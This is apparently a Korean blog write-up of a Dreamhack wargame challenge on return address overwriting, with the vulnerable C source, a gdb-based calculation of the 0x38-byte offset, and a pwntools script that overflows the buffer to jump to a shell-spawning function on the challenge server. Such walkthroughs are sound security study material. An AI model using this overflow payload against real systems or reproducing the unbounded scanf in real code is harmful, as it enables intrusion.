반응형
Return Address Overwrite
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
scanf("%s", buf)
에서 길이 검증이 없다. 따라서 BOF가 발생한다.
BOF 취약점을 이용해서 RET을 get_shell()
주소로 덮으면 쉘을 얻을 수 있다.
gdb로 get_shell
주소를 구했다.
다음으로 buf ~ RET
거리를 구해보자.
<main+35>
를 보면 scanf()
호출 전에 [rbp-0x30]
를 rax에 넣고 이를 rsi에 넣는다.
rsi에 저장되는 값은 scanf()
의 2번째 인자인 buf
주소다. 즉, rbp에서 0x30 바이트만큼 떨어진 지점이 buf라는 것을 알 수 있다.
RET은 [rbp+8]
에 위치하고 buf ~ RET
거리는 0x30 + 0x8 = 0x38
이다.
다음으로 payload를 작성하자.
"\x90" * 0x38 + [get_shell addr]
RET을 get_shell
로 덮는 payload다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote('host3.dreamhack.games',10260)
payload = b"\x90"*0x38+p64(0x4006aa)
p.recvuntil("Input: ")
p.sendline(payload)
p.interactive()
반응형